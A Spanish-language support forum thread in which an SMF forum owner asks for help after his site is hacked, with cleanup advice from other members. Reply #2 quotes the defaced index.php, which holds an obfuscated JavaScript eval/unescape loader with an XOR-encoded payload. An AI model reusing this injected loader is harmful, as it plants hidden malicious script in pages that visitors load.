• 0
  • 10 RepliesReplies
  • 6783 ReadTimes Read
  • 0 PointsPoints

Topic: mi foro en blanco ¿virus?

Usuario: Snoopix
Rango: Nuevo Usuario
Mensajes: 91
Points: 5
Mi web: http://www.ciudadsatan.com
Perfil: View Profile
Pais:
af
mi foro en blanco ¿virus?
June 29, 2013 - 02:36 14:36
mi foro en blanco ¿virus?

Datos importantes:
Url del foro: http://www.ciudadsatan.com
Version de SMF: 2.0.2
Theme del foro: blues themes

Descripcion del problema:
Hola amigos, me gustaría saber cómo puedo saber si tengo un virus o fui hackeado. Resulta que hoy entré a mi página la cual es un foro smf 2.0.2 con simpleportal y no aparecía nada. Sólo para verificar si eran problemas de dominio me dirigi a un subdominio que uso en tumblr y no tuve ningún problema. Luego entré al cpanel con mi cuenta de usuario y pass y tampoco tuve problemas. (deduzco que no es un problema de host?). Finalmente, entré en el administrador de archivos y me di cuenta de que habían muchísimas cosas modificadas ayer por la tarde y hoy. Pero yo no he subido ni modificado ningún archivo. Mi explorador no me muestra nada de virus (Tengo osx y uso safari como browser). ¿En fin, tengo virus o me hackearon?, ¿qué deberia hacer?.

saludos.
Usuario: Lean
Rango: Fundador
Mensajes: 6782
Points: 236
Perfil: View Profile
Pais:
ar
Re:mi foro en blanco ¿virus?
Reply #1 June 29, 2013 - 02:51 14:51
Si, segun parece tu foro esta infectado. Primero, cuando smf saca una version nueva no es porque es mas linda, es porque repara muchisimos bugs de seguridad, si no tenes la version mas nueva que es la 2.0.4, tu foro estara muy vulnerable...
Otra cosa, hay virus que pueden entrar por ftp si es que tu ftp esta configurado con memoria, osea, que cuando abres tu ftp, con solo poner el nombre de tu web ya entra, eso quiere decir que no necesitas ingresar la contraseña cada vez que quieras ingresar y ahi puedes tener un punto de infeccion. Otro punto es la base de datos, que tu hosting no tenga la seguridad suficiente (de eso jamas se hara cargo el hosting, por obvios motivos) y ahi te infecten.
Lo que debes hacer es buscar en los archivos que sean index.php de todas las carpetas de tu foro y fijarte que no tengan algun codigo raro, casi siempre esta al final o al principio ya que buscan archivos index.php y ponen  el codigo al principio o al final.
Luego de que verifiques todo eso, cambia todas las contraseñas de tu cpanel, ftp por unas mas seguras, hasles saber a tu host que te paso eso (ellos diran que no fue el host, pero seguramente algo haran al respecto aunque no te lo digan) y por ultimo has backup semanales por las dudas.
Saludos y avisanos como te va
Usuario: Snoopix
Rango: Nuevo Usuario
Mensajes: 91
Points: 5
Mi web: http://www.ciudadsatan.com
Perfil: View Profile
Pais:
af
Re:mi foro en blanco ¿virus?
Reply #2 June 29, 2013 - 02:58 14:58
hay alguna manera de saber cómo se produjo la infección?

para mi es dificil buscar virus en mi ordenador porque como ya mencione uso osx y acabo de bajar un antivirus pero no encuentra nada en mi ordenador.

mira este es mi index.php:

Code: [Select]
<html>
<head>
</head>
<body>

<script type="text/javascript">
<!--
eval(unescape('function gb5e588ef4(s) {
var r = "";
var tmp = s.split("8443727");
s = unescape(tmp[0]);
k = unescape(tmp[1] + "717175");
for( var i = 0; i < s.length; i++) {
r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+-5);
}
return r;
}
'));
eval(unescape('document.write(gb5e588ef4('')   'Gfovepj"ypiE"kq}t<64ahluo6|p07959980=1;;=3?$'|ih~lE"3/!lilljxE&2"#csgqhgsvnkpG!=#BB6nlvasmFBlkpguk"}q`F&n{yr>35alm|l2yz41;089<1439698?&"}ileF&6%%jkimj|D/1&&iwasmfsrobsC$7'D@3olr`znB@ijpctb!ytjB l~xr:2<bhhvh4{51?11:84>7?4<9?"#tjhzoB 4 $johdixA%5 $lvawlopvjhwE&2&DD2fovepjDDhcsgqh%voC hqq>76fnjsi4~<2;4;>>6;6?0=08&&~nnxjC 0!-ikmnm~C 4  mbsietphmvE"3/G@7lkpgukD  @miwasm$rnJ#lz{u853gnnr`7{{66=6>?>2:?<48:> ${on|kJ#4$'mmokl~G!=#$hufuk`upllF&6%CF5ijpctbG Folvawl-|vk@'jx~t812nmjwj3}y37=2?6=6?582:>7  zfmxn@'2&"lmkje}C$7'"jpguoa|shiuB 4 BF1hcsgqhCFkmbsi'xpiE&j|};57diluo2}}2>>6:<90=092>?0#$li~lE&2"#enoooyE&2&"nqnvkdvwnkpC 0!KE5miwasmB
Eohufuk"ypmD/ixzw?35ahlqn;~y74:089809101::;'"}ih~hD/1&&ojimjxE"3/!jtdrmfsvnoqJ#4$AA3olvawlK84437276841320'   unescape(''));'));
// -->
</script>
<noscript><i>Javascript required</i></noscript>

</html>
<!-- Histats.com  START  (standard)-->
<script type="text/javascript">document.write(unescape("<script src='http://s10.histats.com/js15.js' type='text/javascript'></script>"));</script>
<a href="http://www.histats.com" target="_blank" title="javascript hit counter" ><script  type="text/javascript" >
try {Histats.start(1,2374308,4,0,0,0,"00010000");
Histats.track_hits();} catch(err){};
</script></a>
<noscript><a href="http://www.histats.com" target="_blank"><img  src="http://sstatic1.histats.com/0.gif?2374308&101" alt="javascript hit counter" border="0"></a></noscript>
<!-- Histats.com  END  -->

al parecer borro todo -.-

cómo debería dejarlo?
Usuario: nikooo14
Rango: Excelente User
Mensajes: 235
Points: 122
Mi web: http://servidornolimit.net
Perfil: View Profile
Pais:
cl
Re:mi foro en blanco ¿virus?
Reply #3 June 29, 2013 - 03:03 15:03
ese es tu index de tu foro o el de tu web, porque en mi foro en limpio mi index es
Code: [Select]
<?php

/**
 * Simple Machines Forum (SMF)
 *
 * @package SMF
 * @author Simple Machines http://www.simplemachines.org
 * @copyright 2011 Simple Machines
 * @license http://www.simplemachines.org/about/smf/license.php BSD
 *
 * @version 2.0.4
 */

/* This, as you have probably guessed, is the crux on which SMF functions.
Everything should start here, so all the setup and security is done
properly.  The most interesting part of this file is the action array in
the smf_main() function.  It is formatted as so:

'action-in-url' => array('Source-File.php', 'FunctionToCall'),

Then, you can access the FunctionToCall() function from Source-File.php
with the URL index.php?action=action-in-url.  Relatively simple, no?
*/

$forum_version 'SMF 2.0.4';

// Get everything started up...
define('SMF'1);
if (
function_exists('set_magic_quotes_runtime'))
@set_magic_quotes_runtime(0);
error_reporting(defined('E_STRICT') ? E_ALL E_STRICT E_ALL);
$time_start microtime();

// This makes it so headers can be sent!
ob_start();

// Do some cleaning, just in case.
foreach (array('db_character_set''cachedir') as $variable)
if (isset($GLOBALS[$variable]))
unset($GLOBALS[$variable], $GLOBALS[$variable]);

// Load the settings...
require_once(dirname(__FILE__) . '/Settings.php');

// Make absolutely sure the cache directory is defined.
if ((empty($cachedir) || !file_exists($cachedir)) && file_exists($boarddir '/cache'))
$cachedir $boarddir '/cache';

// And important includes.
require_once($sourcedir '/QueryString.php');
require_once(
$sourcedir '/Subs.php');
require_once(
$sourcedir '/Errors.php');
require_once(
$sourcedir '/Load.php');
require_once(
$sourcedir '/Security.php');

// Using an pre-PHP 5.1 version?
if (@version_compare(PHP_VERSION'5.1') == -1)
require_once($sourcedir '/Subs-Compat.php');

// If $maintenance is set specifically to 2, then we're upgrading or something.
if (!empty($maintenance) && $maintenance == 2)
db_fatal_error();

// Create a variable to store some SMF specific functions in.
$smcFunc = array();

// Initate the database connection and define some database functions to use.
loadDatabase();

// Load the settings from the settings table, and perform operations like optimizing.
reloadSettings();
// Clean the request variables, add slashes, etc.
cleanRequest();
$context = array();

// Seed the random generator.
if (empty($modSettings['rand_seed']) || mt_rand(1250) == 69)
smf_seed_generator();

// Before we get carried away, are we doing a scheduled task? If so save CPU cycles by jumping out!
if (isset($_GET['scheduled']))
{
require_once($sourcedir '/ScheduledTasks.php');
AutoTask();
}

// Check if compressed output is enabled, supported, and not already being done.
if (!empty($modSettings['enableCompressedOutput']) && !headers_sent())
{
// If zlib is being used, turn off output compression.
if (@ini_get('zlib.output_compression') == '1' || @ini_get('output_handler') == 'ob_gzhandler' || @version_compare(PHP_VERSION'4.2.0') == -1)
$modSettings['enableCompressedOutput'] = '0';
else
{
ob_end_clean();
ob_start('ob_gzhandler');
}
}

// Register an error handler.
set_error_handler('error_handler');

// Start the session. (assuming it hasn't already been.)
loadSession();

// Determine if this is using WAP, WAP2, or imode.  Technically, we should check that wap comes before application/xhtml or text/html, but this doesn't work in practice as much as it should.
if (isset($_REQUEST['wap']) || isset($_REQUEST['wap2']) || isset($_REQUEST['imode']))
unset($_SESSION['nowap']);
elseif (isset(
$_REQUEST['nowap']))
$_SESSION['nowap'] = true;
elseif (!isset(
$_SESSION['nowap']))
{
if (isset($_SERVER['HTTP_ACCEPT']) && strpos($_SERVER['HTTP_ACCEPT'], 'application/vnd.wap.xhtml+xml') !== false)
$_REQUEST['wap2'] = 1;
elseif (isset($_SERVER['HTTP_ACCEPT']) && strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)
{
if (strpos($_SERVER['HTTP_USER_AGENT'], 'DoCoMo/') !== false || strpos($_SERVER['HTTP_USER_AGENT'], 'portalmmm/') !== false)
$_REQUEST['imode'] = 1;
else
$_REQUEST['wap'] = 1;
}
}

if (!
defined('WIRELESS'))
define('WIRELESS', isset($_REQUEST['wap']) || isset($_REQUEST['wap2']) || isset($_REQUEST['imode']));

// Some settings and headers are different for wireless protocols.
if (WIRELESS)
{
define('WIRELESS_PROTOCOL', isset($_REQUEST['wap']) ? 'wap' : (isset($_REQUEST['wap2']) ? 'wap2' : (isset($_REQUEST['imode']) ? 'imode' '')));

// Some cellphones can't handle output compression...
$modSettings['enableCompressedOutput'] = '0';
// !!! Do we want these hard coded?
$modSettings['defaultMaxMessages'] = 5;
$modSettings['defaultMaxTopics'] = 9;

// Wireless protocol header.
if (WIRELESS_PROTOCOL == 'wap')
header('Content-Type: text/vnd.wap.wml');
}

// Restore post data if we are revalidating OpenID.
if (isset($_GET['openid_restore_post']) && !empty($_SESSION['openid']['saved_data'][$_GET['openid_restore_post']]['post']) && empty($_POST))
{
$_POST $_SESSION['openid']['saved_data'][$_GET['openid_restore_post']]['post'];
unset($_SESSION['openid']['saved_data'][$_GET['openid_restore_post']]);
}

// What function shall we execute? (done like this for memory's sake.)
call_user_func(smf_main());

// Call obExit specially; we're coming from the main area ;).
obExit(nullnulltrue);

// The main controlling function.
function smf_main()
{
global $modSettings$settings$user_info$board$topic$board_info$maintenance$sourcedir;

// Special case: session keep-alive, output a transparent pixel.
if (isset($_GET['action']) && $_GET['action'] == 'keepalive')
{
header('Content-Type: image/gif');
die("\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3B");
}

// Load the user's cookie (or set as guest) and load their settings.
loadUserSettings();

// Load the current board's information.
loadBoard();

// Load the current user's permissions.
loadPermissions();

// Attachments don't require the entire theme to be loaded.
if (isset($_REQUEST['action']) && $_REQUEST['action'] == 'dlattach' && (!empty($modSettings['allow_guestAccess']) && $user_info['is_guest']))
detectBrowser();
// Load the current theme.  (note that ?theme=1 will also work, may be used for guest theming.)
else
loadTheme();

// Check if the user should be disallowed access.
is_not_banned();

// If we are in a topic and don't have permission to approve it then duck out now.
if (!empty($topic) && empty($board_info['cur_topic_approved']) && !allowedTo('approve_posts') && ($user_info['id'] != $board_info['cur_topic_starter'] || $user_info['is_guest']))
fatal_lang_error('not_a_topic'false);

// Do some logging, unless this is an attachment, avatar, toggle of editor buttons, theme option, XML feed etc.
if (empty($_REQUEST['action']) || !in_array($_REQUEST['action'], array('dlattach''findmember''jseditor''jsoption''requestmembers''smstats''.xml''xmlhttp''verificationcode''viewquery''viewsmfile')))
{
// Log this user as online.
writeLog();

// Track forum statistics and hits...?
if (!empty($modSettings['hitStats']))
trackStats(array('hits' => '+'));
}

// Is the forum in maintenance mode? (doesn't apply to administrators.)
if (!empty($maintenance) && !allowedTo('admin_forum'))
{
// You can only login.... otherwise, you're getting the "maintenance mode" display.
if (isset($_REQUEST['action']) && ($_REQUEST['action'] == 'login2' || $_REQUEST['action'] == 'logout'))
{
require_once($sourcedir '/LogInOut.php');
return $_REQUEST['action'] == 'login2' 'Login2' 'Logout';
}
// Don't even try it, sonny.
else
{
require_once($sourcedir '/Subs-Auth.php');
return 'InMaintenance';
}
}
// If guest access is off, a guest can only do one of the very few following actions.
elseif (empty($modSettings['allow_guestAccess']) && $user_info['is_guest'] && (!isset($_REQUEST['action']) || !in_array($_REQUEST['action'], array('coppa''login''login2''register''register2''reminder''activate''help''smstats''mailq''verificationcode''openidreturn'))))
{
require_once($sourcedir '/Subs-Auth.php');
return 'KickGuest';
}
elseif (empty($_REQUEST['action']))
{
// Action and board are both empty... BoardIndex!
if (empty($board) && empty($topic))
{
require_once($sourcedir '/BoardIndex.php');
return 'BoardIndex';
}
// Topic is empty, and action is empty.... MessageIndex!
elseif (empty($topic))
{
require_once($sourcedir '/MessageIndex.php');
return 'MessageIndex';
}
// Board is not empty... topic is not empty... action is empty.. Display!
else
{
require_once($sourcedir '/Display.php');
return 'Display';
}
}

// Here's the monstrous $_REQUEST['action'] array - $_REQUEST['action'] => array($file, $function).
$actionArray = array(
'activate' => array('Register.php''Activate'),
'admin' => array('Admin.php''AdminMain'),
'announce' => array('Post.php''AnnounceTopic'),
'attachapprove' => array('ManageAttachments.php''ApproveAttach'),
'buddy' => array('Subs-Members.php''BuddyListToggle'),
'calendar' => array('Calendar.php''CalendarMain'),
'clock' => array('Calendar.php''clock'),
'collapse' => array('BoardIndex.php''CollapseCategory'),
'coppa' => array('Register.php''CoppaForm'),
'credits' => array('Who.php''Credits'),
'deletemsg' => array('RemoveTopic.php''DeleteMessage'),
'display' => array('Display.php''Display'),
'dlattach' => array('Display.php''Download'),
'editpoll' => array('Poll.php''EditPoll'),
'editpoll2' => array('Poll.php''EditPoll2'),
'emailuser' => array('SendTopic.php''EmailUser'),
'findmember' => array('Subs-Auth.php''JSMembers'),
'groups' => array('Groups.php''Groups'),
'help' => array('Help.php''ShowHelp'),
'helpadmin' => array('Help.php''ShowAdminHelp'),
'im' => array('PersonalMessage.php''MessageMain'),
'jseditor' => array('Subs-Editor.php''EditorMain'),
'jsmodify' => array('Post.php''JavaScriptModify'),
'jsoption' => array('Themes.php''SetJavaScript'),
'lock' => array('LockTopic.php''LockTopic'),
'lockvoting' => array('Poll.php''LockVoting'),
'login' => array('LogInOut.php''Login'),
'login2' => array('LogInOut.php''Login2'),
'logout' => array('LogInOut.php''Logout'),
'markasread' => array('Subs-Boards.php''MarkRead'),
'mergetopics' => array('SplitTopics.php''MergeTopics'),
'mlist' => array('Memberlist.php''Memberlist'),
'moderate' => array('ModerationCenter.php''ModerationMain'),
'modifycat' => array('ManageBoards.php''ModifyCat'),
'modifykarma' => array('Karma.php''ModifyKarma'),
'movetopic' => array('MoveTopic.php''MoveTopic'),
'movetopic2' => array('MoveTopic.php''MoveTopic2'),
'notify' => array('Notify.php''Notify'),
'notifyboard' => array('Notify.php''BoardNotify'),
'openidreturn' => array('Subs-OpenID.php''smf_openID_return'),
'pm' => array('PersonalMessage.php''MessageMain'),
'post' => array('Post.php''Post'),
'post2' => array('Post.php''Post2'),
'printpage' => array('Printpage.php''PrintTopic'),
'profile' => array('Profile.php''ModifyProfile'),
'quotefast' => array('Post.php''QuoteFast'),
'quickmod' => array('MessageIndex.php''QuickModeration'),
'quickmod2' => array('Display.php''QuickInTopicModeration'),
'recent' => array('Recent.php''RecentPosts'),
'register' => array('Register.php''Register'),
'register2' => array('Register.php''Register2'),
'reminder' => array('Reminder.php''RemindMe'),
'removepoll' => array('Poll.php''RemovePoll'),
'removetopic2' => array('RemoveTopic.php''RemoveTopic2'),
'reporttm' => array('SendTopic.php''ReportToModerator'),
'requestmembers' => array('Subs-Auth.php''RequestMembers'),
'restoretopic' => array('RemoveTopic.php''RestoreTopic'),
'search' => array('Search.php''PlushSearch1'),
'search2' => array('Search.php''PlushSearch2'),
'sendtopic' => array('SendTopic.php''EmailUser'),
'smstats' => array('Stats.php''SMStats'),
'suggest' => array('Subs-Editor.php''AutoSuggestHandler'),
'spellcheck' => array('Subs-Post.php''SpellCheck'),
'splittopics' => array('SplitTopics.php''SplitTopics'),
'stats' => array('Stats.php''DisplayStats'),
'sticky' => array('LockTopic.php''Sticky'),
'theme' => array('Themes.php''ThemesMain'),
'trackip' => array('Profile-View.php''trackIP'),
'about:mozilla' => array('Karma.php''BookOfUnknown'),
'about:unknown' => array('Karma.php''BookOfUnknown'),
'unread' => array('Recent.php''UnreadTopics'),
'unreadreplies' => array('Recent.php''UnreadTopics'),
'verificationcode' => array('Register.php''VerificationCode'),
'viewprofile' => array('Profile.php''ModifyProfile'),
'vote' => array('Poll.php''Vote'),
'viewquery' => array('ViewQuery.php''ViewQuery'),
'viewsmfile' => array('Admin.php''DisplayAdminFile'),
'who' => array('Who.php''Who'),
'.xml' => array('News.php''ShowXmlFeed'),
'xmlhttp' => array('Xml.php''XMLhttpMain'),
);

// Allow modifying $actionArray easily.
call_integration_hook('integrate_actions', array(&$actionArray));

// Get the function and file to include - if it's not there, do the board index.
if (!isset($_REQUEST['action']) || !isset($actionArray[$_REQUEST['action']]))
{
// Catch the action with the theme?
if (!empty($settings['catch_action']))
{
require_once($sourcedir '/Themes.php');
return 'WrapAction';
}

// Fall through to the board index then...
require_once($sourcedir '/BoardIndex.php');
return 'BoardIndex';
}

// Otherwise, it was set - so let's go to that action.
require_once($sourcedir '/' $actionArray[$_REQUEST['action']][0]);
return $actionArray[$_REQUEST['action']][1];
}

?>

Usuario: Lean
Rango: Fundador
Mensajes: 6782
Points: 236
Perfil: View Profile
Pais:
ar
Re:mi foro en blanco ¿virus?
Reply #4 June 29, 2013 - 03:25 15:25
Uff, te mataron el index. Busca un backup mas cercano y hace lo que te dije arriba. Actualiza a 2.0.4, cambia todas las contraseñas, habla con el hosting y volve a poner los archivos del backup. El servidor si no es gratuito siempre hace backups automaticos, pediselos.
Usuario: Snoopix
Rango: Nuevo Usuario
Mensajes: 91
Points: 5
Mi web: http://www.ciudadsatan.com
Perfil: View Profile
Pais:
af
Re:mi foro en blanco ¿virus?
Reply #5 June 29, 2013 - 03:31 15:31
 esto es mas grave de lo que pensaba, resulta que en otra carpeta tenia instalado wordpres y ya no hay nada en esa carpeta, ¿pudo la infección provenir de ahi?, ni idea =(

creen que deberia esperar una respuesta de parte del hosting?

ahora bien, si esto afectó sólo algunos archivos (en efecto hay imagenes u otras cosas que no fueron modificadas/borradas), ¿la base de datos está limpia?, si la base de datos está limpia, podría exportarla usando phpmyadminin, luego borrar todo desde el administrador de archivos o mi cliente ftp,  para finalmente instalar smf en su última versión y luego importar la base de datos desde phpmyadmin?

no se que hacer, también tengo un backup de la base de datos del 21, pero a menos que sea un riesgo, preferiría usar la actual para salvar ciertos temas/nuevos usuarios.

pd. es pagado
Usuario: Lean
Rango: Fundador
Mensajes: 6782
Points: 236
Perfil: View Profile
Pais:
ar
Re:mi foro en blanco ¿virus?
Reply #6 June 29, 2013 - 03:36 15:36
Si, nuca habia visto tanto desastre de un virus. Deberias hablar urgente con tu host y preguntarles en su log si hubo algo raro en estos dias. Pero como te digo, ellos jamas se haran cargo del problema, diran que verifiques que tienes la ultima version del script que usas (en este caso smf) y que controles tus contraseñas. Osea, siempre te van a hacer cargo a vos del error y no ellos. Ya lo vimos en muuuuchos host a eso.
Con respecto a tu pregunta, te diria que si no es cuestion de vida o muerte y puedes perder los mensajes de los ultimos dias, pongas todo un backup completo porque puedes tener infectado tambien la db. Entonces, busca el ultimo backup de db y archivos que tengas y resubilos. No queda otra.
Usuario: Snoopix
Rango: Nuevo Usuario
Mensajes: 91
Points: 5
Mi web: http://www.ciudadsatan.com
Perfil: View Profile
Pais:
af
Re:mi foro en blanco ¿virus?
Reply #7 June 29, 2013 - 04:14 16:14
bueno el pass del cpanel es el mismo que uso para el ftp, y este pass me la dio el proveedor de hosting. Otra cosa de la que acabo de percatarme es que en MySQL Bases de Datos me aparece que "No hay bases de datos asociadas con tu cuenta.", sin embargo en phpmyadmin sigue apareciendo la base de datos de mi foro y de mi wordpress, entre otras.  :'(

Ahora bien, como decia tengo un backup completo (es decir de todas las tablas) realizado el 21 de junio o puedo hacer otro desde la base de datos actual usando phpmyadmin, con el riesgo de que la base de datos actual también este corrupta, ¿que piensan?.

Teniendo esta base de datos, esto es lo que haría:

a)  borrar todo desde el administrador de archivos y tambien las bases de datos desde phpmyadmin.
b) cambiar el password de mi cuenta de cpanel y crear un usuario sólo para administrar archivos, de modo que si algien o algo se robara este último no tuviese acceso al cpanel.
c) instalar smf en su última versión desde 0. Al respecto, unas dudas:

1) ¿Existen algunas medidas de seguridad que pueda tomar antes o durante la instalación de smf? (me refiero a esas medidas existentes en otros script, como cambiar el prefijo de las tablas, el numero de usuario del admin, etc...)
2) Si la base de datos que exporte es de la versión 2.0.2 y el smf que instalé es  2.0.4, ¿la importación no traerá problemas?
3) Tratándose de un backup de todas las tablas, incluyendo por lo tanto algunos datos relacionados a los mods, ¿debería instalar todos los mods antes de importar el backup?.
4) ¿hay algo más que pueda o deba hacer antes, durante o después de todo esto?.

pd. si el tema se desvía demasiado de la pregunta que lo inició, agradecería que lo dividieran. Por otro lado, si no son cosas que puedan resolverse en este foro, agradecería que alguien me ayudara por mensajería privada.  :-X
 
Usuario: Lean
Rango: Fundador
Mensajes: 6782
Points: 236
Perfil: View Profile
Pais:
ar
Re:mi foro en blanco ¿virus?
Reply #8 June 29, 2013 - 04:21 16:21
Pero si tenes un backup anterior de archivos y base de datos no tenes que hacer nada mas que subilos. Luego hacer lo que te dije arriba en 2 ocaciones.
Usuario: Snoopix
Rango: Nuevo Usuario
Mensajes: 91
Points: 5
Mi web: http://www.ciudadsatan.com
Perfil: View Profile
Pais:
af
Re:mi foro en blanco ¿virus?
Reply #9 June 29, 2013 - 04:33 16:33
podría subir los archivos que aparezcan como modificados en las últimas 24 horas, pero hay archivos eliminados y otros adicionales. el tiempo que me tardaría en revisar que archivos corresponden a smf o a los distintos mods que tenía, cuales han sido modificados o eliminados, y cuales han sido añadidos, no sería menor al tiempo que me tardaría en hacer una instalación limpia de la última versión de smf.

en fin.

gracias de todas maneras.
Usuario: Lean
Rango: Fundador
Mensajes: 6782
Points: 236
Perfil: View Profile
Pais:
ar
Re:mi foro en blanco ¿virus?
Reply #10 June 29, 2013 - 04:35 16:35
Eso ya depende de lo que quieras hacer. A veces hay admins que no quieren perder nada y en otras ocaciones importa mas el contenido que lo que se ve. Yo lo volveria a poner como estaba hace 1 semana digamos, perderias temas y algunos registros pero tendrias el foro tal cual. Pero bueno, eso ya son decisiones personales.
Suerte con eso
 

TAGS



top

Smfsimple.com es un sitio destinado a brindar un servicio de soporte y herramientas para foros realizados con el sistema de foros gratuito simplemachines.org. Contamos con un selecto equipo de desarrolladores y conocedores del sistema, sus foros estaran en buenas manos.
This site is not affiliated with or endorsed by Simple Machines